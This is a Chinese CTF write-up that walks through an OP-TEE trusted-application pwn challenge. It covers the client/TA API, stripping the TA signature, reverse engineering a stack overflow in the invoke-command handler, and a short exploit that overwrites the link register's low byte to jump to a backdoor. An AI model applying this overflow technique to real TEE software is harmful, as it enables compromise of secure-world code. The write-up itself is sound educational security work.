2024 L3HCTF Pwn 信じてください、先輩!!

Tee Pwn 入门

太荣幸了 god 🐧 手把手教学 TEE Pwn, 就是 god 🐧 看不下去我摸了一个下午还没做出来, 亲自秒了…

复现一波入个门

可信执行环境Trusted Execution Environment (TEE) 是在硬件层做的安全措施, 提供一个隔离的执行环境, 来负责安全的计算.

这题用的是 OP-TEE 这个开源项目. OP-TEE 架构如下:

OP-TEE Arch
OP-TEE Arch

简单来说 OP-TEE 有两个相互隔离的部分, 可信应用 (TA) 在 Secure World 中执行, 不可信应用作为客户端应用 (CA) 通过 TEE Client API 接口与其通信, 使用 TA 提供的功能.

optee_examples 有 CA 和 TA 的实例. 可以先来分析一下.

TA 中有需要实现如下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
 * Called when the instance of the TA is created. This is the first call in
 * the TA.
 */
TEE_Result TA_CreateEntryPoint(void);

/*
 * Called when the instance of the TA is destroyed if the TA has not
 * crashed or panicked. This is the last call in the TA.
 */
void TA_DestroyEntryPoint(void);

/*
 * Called when a new session is opened to the TA. *sess_ctx can be updated
 * with a value to be able to identify this session in subsequent calls to the
 * TA. In this function you will normally do the global initialization for the
 * TA.
 */
TEE_Result TA_OpenSessionEntryPoint(uint32_t param_types,
		TEE_Param __maybe_unused params[4],
		void __maybe_unused **sess_ctx);

/*
 * Called when a session is closed, sess_ctx hold the value that was
 * assigned by TA_OpenSessionEntryPoint().
 */
void TA_CloseSessionEntryPoint(void __maybe_unused *sess_ctx);

/*
 * Called when a TA is invoked. sess_ctx hold that value that was
 * assigned by TA_OpenSessionEntryPoint(). The rest of the paramters
 * comes from normal world.
 */
TEE_Result TA_InvokeCommandEntryPoint(void __maybe_unused *sess_ctx,
			uint32_t cmd_id,
			uint32_t param_types, TEE_Param params[4]);

CA:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int main(void)
{
	TEEC_Result res;
	TEEC_Context ctx;
	TEEC_Session sess;
	TEEC_Operation op;
	TEEC_UUID uuid = TA_HELLO_WORLD_UUID;
	uint32_t err_origin;

	/* Initialize a context connecting us to the TEE */
	res = TEEC_InitializeContext(NULL, &ctx);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_InitializeContext failed with code 0x%x", res);

	/*
	 * Open a session to the "hello world" TA, the TA will print "hello
	 * world!" in the log when the session is created.
	 */
	res = TEEC_OpenSession(&ctx, &sess, &uuid,
			       TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x",
			res, err_origin);

	/*
	 * Execute a function in the TA by invoking it, in this case
	 * we're incrementing a number.
	 *
	 * The value of command ID part and how the parameters are
	 * interpreted is part of the interface provided by the TA.
	 */

	/* Clear the TEEC_Operation struct */
	memset(&op, 0, sizeof(op));

	/*
	 * Prepare the argument. Pass a value in the first parameter,
	 * the remaining three parameters are unused.
	 */
	op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INOUT, TEEC_NONE,
					 TEEC_NONE, TEEC_NONE);
	op.params[0].value.a = 42;

	/*
	 * TA_HELLO_WORLD_CMD_INC_VALUE is the actual function in the TA to be
	 * called.
	 */
	printf("Invoking TA to increment %d\n", op.params[0].value.a);
	res = TEEC_InvokeCommand(&sess, TA_HELLO_WORLD_CMD_INC_VALUE, &op,
				 &err_origin);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x",
			res, err_origin);
	printf("TA incremented value to %d\n", op.params[0].value.a);

	/*
	 * We're done with the TA, close the session and
	 * destroy the context.
	 *
	 * The TA will print "Goodbye!" in the log when the
	 * session is closed.
	 */

	TEEC_CloseSession(&sess);

	TEEC_FinalizeContext(&ctx);

	return 0;
}

注释写的很清楚了, CA 首先要 TEEC_OpenSession 与特定的 TA 建立会话, 这里需要传入 TA 的 uuid; 然后 TEEC_InvokeCommand 调用 TA 命令, cmd 指定功能, op 传递参数.

编译 CA 需要编译 optee_client, 编译 TA 需要编译 optee_os.

注意
3.19.0 编译 client 的时候有问题, 需要将 libteeacl/include/teeacl.h 中的 #include <uuid/uuid.h> 改为 #include <uuid.h>, 因为 pkg-config --cflags uuid 输出是 -I/usr/include/uuid. 以及还得用 cmake 编译, make 会说 ld 找不到 -luuid. 很奇怪. (当时做题没考虑版本问题直接拿最新版编译了, 也能用.)

既然是复现, 那就从发现他是 OP TEE 开始.

将题目解压, 得到如下文件:

.
├── flash.bin
├── Image
├── qemu-system-aarch642
├── rootfs.cpio.gz
└── start.sh

可以看到一个固件 flash.bin, 一个内核镜像 Image, 一个 aarch64 的 qemu 程序, 一个文件系统 rootfs, 一个启动脚本 start.sh. 先启动试试

start.sh
start.sh

可以从打印的信息中发现 optee, tee-supplicant 等字样, 还可以看到 optee 的版本是 3.19.0

按提示用 root 登陆, 可以看到 /root 下有一个 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta, 通过查阅 文档 可以发现, 这就是 TA 应用, 那一串东西是 uuid, 用来区分 TA 的.

引用

BINARY and LIBNAME

  • These are exclusive, meaning that you cannot use both at the same time. If building a TA, BINARY shall provide the TA filename used to load the TA. The built and signed TA binary file will be named ${BINARY}.ta. In native OP-TEE, it is the TA UUID, used by tee-supplicant to identify TAs.

除了 /root 下有 TA, 系统其他地方也有一些. /root 里这个就是出题人写的 TA 了.

用 root 将 rootfs 解压 (因为打包和解压都涉及到用户权限问题, 如果不用 root 的话, 重新打包之后会跑不起来), 把 TA 拿出来 file 一下会发现这玩意类型不知道:

❯ file 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta 
8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta: data

继续翻 文档 发现, 这个 TA 是签了名的. 所以要先去掉签名. 签名就是直接加在文件最前面, binwalk 一下提取 elf.

现在可以正常反编译了. 程序扣掉了符号表, 不过 TA 很多函数是 optee_client API 编译进来的. 根据企鹅的说法可以用 BinaryAI 跑一下, 能恢复不少函数. 自己又编译了一个 optee_examples 里的 hello_world TA 去 BinDiff 了一下, 也可以对着看. (发现题目 TA 的 uuid 和 hello world 的一样哈哈)

而且 main.c 里写的函数地址更低, 可以在低地址处寻找 TA 的功能. 需要注意貌似题目编译的时候有函数调用的优化, 自己编译出来没有, 对着看的时候注意一下即可.

__ta_entry
__ta_entry, 程序入口, 左为自行编译的 hello world TA, 右为题目 TA
_utee_entry
_utee_entry, 题目 TA 将函数优化展开

这里能看到几个 if 语句快逻辑是一样的, 题目 TA 比自己编译出来的多了很多东西, 观察一下应该是函数优化展开了. 这里主要看 entry_invoke_command(), 找到调用 TA 的功能.

entry_invoke_command
entry_invoke_command

可以很容易就发现, 题目的 sub_1E8() 便是 TA_InvokeCommandEntryPoint()

把参数类型设置正确, 题目的函数如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __cdecl TA_InvokeCommandEntryPoint(void *sess_ctx, uint32_t cmd_id, uint32_t param_types, TEE_Param *params)
{
  unsigned int v4; // w19
  char *v6; // x23
  char v8[40]; // [xsp+40h] [xbp+40h] BYREF
  char v9[56]; // [xsp+68h] [xbp+68h] BYREF

  if ( cmd_id )
    return 0xFFFF0006LL;
  if ( param_types == 101 )
  {
    v4 = 0;
    v6 = (char *)params + 16;
    sub_19E0((__int64)v8, *(_QWORD *)params, *((_DWORD *)params + 2));
    trace_printf((__int64)"move", 48LL, 3LL, 1LL, (__int64)"Recv_buffers1: %s\n", v8);
    sub_19E0((__int64)v9, *((_QWORD *)params + 2), *((_DWORD *)v6 + 2));
    trace_printf((__int64)"move", 55LL, 3LL, 1LL, (__int64)"Recv_buffers2: %s\n", v9);
  }
  else
  {
    return 0xFFFF0006;
  }
  return v4;
}

其中 sub_19E0() 根据调试信息应该是 move(). 稍微逆一下就是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall move_0(char *dst, char *src, __int64 len)
{
  char *src_end; // x3
  char *dst_end; // x4
  __int64 v5; // x2
  __int64 j; // x1
  __int64 i; // x3

  if ( dst <= src || (src_end = &src[len], &src[len] <= dst) )
  {
    for ( i = 0LL; len != i; ++i )
      dst[i] = src[i];
  }
  else
  {
    dst_end = &dst[len];
    v5 = ~len;
    for ( j = 0LL; v5 != --j; dst_end[j] = src_end[j] )
      ;
  }
}

一个非常简单的 copy 函数.

optee_client 中能翻到 TEE_Param:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
typedef union {
	struct {
		void *buffer;
		size_t size;
	} memref;
	struct {
		uint32_t a;
		uint32_t b;
	} value;
} TEE_Param;

导入到 IDA, TA_InvokeCommandEntryPoint() 函数最后如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void __cdecl TA_InvokeCommandEntryPoint(
        void *sess_ctx,
        uint32_t cmd_id,
        uint32_t param_types,
        $B0FDEAEF40E7069B360376355E477A47::$341C9A80B7E8F56679FDB1F9A08C3AA7 (*params)[4])
{
  $B0FDEAEF40E7069B360376355E477A47::$341C9A80B7E8F56679FDB1F9A08C3AA7 *v5; // x23
  char v6[40]; // [xsp+40h] [xbp+40h] BYREF
  char v7[56]; // [xsp+68h] [xbp+68h] BYREF

  if ( !cmd_id && param_types == 0x65 )
  {
    v5 = &(*params)[1];
    move(v6, (*params)[0].buffer, (*params)[0].size);
    trace_printf("move", 48LL, 3LL, 1LL, "Recv_buffers1: %s\n", v6);
    move(v7, (*params)[1].buffer, v5->size);
    trace_printf("move", 55LL, 3LL, 1LL, "Recv_buffers2: %s\n", v7);
  }
}

这里将传入参数指定的一段内存数据拷贝到栈上, 没有检查大小, 存在溢出.

TA_InvokeCommandEntryPoint() 还有一个 if ( param_types == 101 ) 拦在前面, 查一下 API 文档 可以找到这个 types 需要如何设置:

引用

uint32_t TEEC_PARAM_TYPES(param0Type, param1Type, param2Type, param3Type)

Description

This function-like macro builds a constant containing four Parameter types for use in the paramTypes field of a TEEC_Operation structure. It accepts four parameters which MUST be taken from the constant values described in Table 4-5.

Note that the way in which the parameter types are packed in a 32-bit integer is implementation-defined and a Client MUST use this macro to build the content of the paramTypes field. However, the value 0 MUST always be equivalent to all types set to TEEC_NONE.

这里最多能够传四个参数, 每个参数需要制定类型. 翻一下表能够看到题目制定的两个参数类型分别为 TEEC_MEMREF_TEMP_INPUTTEEC_MEMREF_TEMP_OUTPUT.

引用
Name Value Comment
TEEC_MEMREF_TEMP_INPUT 0x00000005 The Parameter is a TEEC_TempMemoryReference describing a region of memory which needs to be temporarily registered for the duration of the Operation and is tagged as input.
TEEC_MEMREF_TEMP_OUTPUT 0x00000006 Same as TEEC_MEMREF_TEMP_INPUT, but the Memory Reference is tagged as output. The Implementation may update the size field to reflect the required output size in some use cases.

还能翻到对应的结构 TEEC_TempMemoryReference:

引用

This type defines a Temporary Memory Reference. It is used as a TEEC_Operation parameter when the corresponding parameter type is one of TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, or TEEC_MEMREF_TEMP_INOUT.

1
2
3
4
typedef struct {
    void*              buffer;
    size_t             size;
} TEEC_TempMemoryReference;

所以只要设置好参数类型, 大小, 就可以栈溢出了.

这里拿 hello world 的 CA 来修改:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <err.h>
#include <stdio.h>
#include <string.h>

/* OP-TEE TEE client API (built by optee_client) */
#include <tee_client_api.h>

#define TA_HELLO_WORLD_UUID                                                    \
  {                                                                            \
    0x8aaaf200, 0x2450, 0x11e4, {                                              \
      0xab, 0xe2, 0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b                           \
    }                                                                          \
  }

int main(void) {
  TEEC_Result res;
  TEEC_Context ctx;
  TEEC_Session sess;
  TEEC_Operation op;
  TEEC_UUID uuid = TA_HELLO_WORLD_UUID;
  uint32_t err_origin;

  /* Initialize a context connecting us to the TEE */
  res = TEEC_InitializeContext(NULL, &ctx);
  if (res != TEEC_SUCCESS)
    errx(1, "TEEC_InitializeContext failed with code 0x%x", res);

  /*
   * Open a session to the "hello world" TA, the TA will print "hello
   * world!" in the log when the session is created.
   */
  res = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL,
                         &err_origin);
  if (res != TEEC_SUCCESS)
    errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res,
         err_origin);

  /*
   * Execute a function in the TA by invoking it, in this case
   * we're incrementing a number.
   *
   * The value of command ID part and how the parameters are
   * interpreted is part of the interface provided by the TA.
   */

  /* Clear the TEEC_Operation struct */
  memset(&op, 0, sizeof(op));

  /*
   * Prepare the argument. Pass a value in the first parameter,
   * the remaining three parameters are unused.
   */
  op.paramTypes = TEEC_PARAM_TYPES(
      TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE, TEEC_NONE);

  char buf0[] = "AAAA";
  int size0 = 4;
  char buf1[] = "BBBB";
  int size1 = 4;

  op.params[0].tmpref.buffer = buf0;
  op.params[0].tmpref.size = size0;
  op.params[1].tmpref.buffer = buf1;
  op.params[1].tmpref.size = size1;

  /*
   * TA_HELLO_WORLD_CMD_INC_VALUE is the actual function in the TA to be
   * called.
   */
  res = TEEC_InvokeCommand(&sess, 0, &op, &err_origin);
  if (res != TEEC_SUCCESS)
    errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", res,
         err_origin);

  /*
   * We're done with the TA, close the session and
   * destroy the context.
   *
   * The TA will print "Goodbye!" in the log when the
   * session is closed.
   */

  TEEC_CloseSession(&sess);

  TEEC_FinalizeContext(&ctx);

  return 0;
}

主要就是修改 TEEC_Operation. 这样就可以成功进入 TA 的中的功能了.

Normal world 和 Secure World 都有日志, qemu 启动脚本里加上这 -serial tcp:localhost:54320 -serial tcp:localhost:54321, 然后启动前用 build/soc_term.py 监听这两个端口即可. Secure World 有个程序叫 ldelf, 他负责把 TA 装载进内存. 装载的时候有部分地址随机, 在 CA 调用 TEEC_OpenSession() 后, TEEC_InvokeCommand() 前用 getchar() 停下, 日志里会有输出装载地址, 就知道在哪下断点了.

debug
右上 log 输出, TA 加载地址为 0x40038000; 右下控制台; 左边 pwndbg, 根据 log 中的加载地址断在 TA_InvokeCommandEntryPoint

(pwndbg 调试有些时候会说地址无效显示不出来汇编, 不知道是我的问题还是 pwndbg 的问题qaq)

还没学过 arm pwn

aarch64 一共 31 个 64 位通用寄存器, 用 x0 - x30 表示. w0 - w30 表示低 32 位. 其中 x29 是帧指针Frame Pointer, 指向当前函数栈帧的底部, x30 是链接寄存器Link Register, 保存返回地址. 函数调用时, 前 8 个参数用寄存器 x0 到 x7 传递, x0 作返回值. 特殊寄存器 PC, SP. 系统调用的调用号放在 x8 中, 系统调用指令为 svc.

题目使用 55 号系统调用获得 flag. god 🐧 说猜测出题人没水平直接给后门, 搜一下 TA 里的 gadget 确实有.

backdoor
backdoor

函数调用入口会用 stp (store pair) 将 x29 和 x30 放在栈上, 出口用 ldp (load pair) 从栈上取回来. 所以只要覆盖栈上的返回地址到后门函数即可.

aarch64 的 x29, x30 和 x86 的 bp, ra 放在栈上的位置不一样. aarch64 把 x29 和 x30 放在栈的最顶上, 所以溢出覆盖不到当前函数的返回地址, 不过可以覆盖 caller 的返回地址, 所以差别不大. 这里覆盖的是 utee_entry 的返回地址, 离后门只差一个字节, 直接覆盖最地位过去就行, 不需要泄漏. 调一调确定位置偏移, exp 核心部分如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  char *buf = malloc(0x100);
  memset(buf, 'A', 0x60);
  size_t *rop = &buf[0x60];
  *rop++ = 0xdeadbeef;          // FP
  char *ptr = rop;
  *ptr++ = 0xb4;                // LR lsb

  op.params[0].tmpref.buffer = buf;
  op.params[0].tmpref.size = ptr - buf;
  op.params[1].tmpref.buffer = buf;
  op.params[1].tmpref.size = 0;
get flag
get flag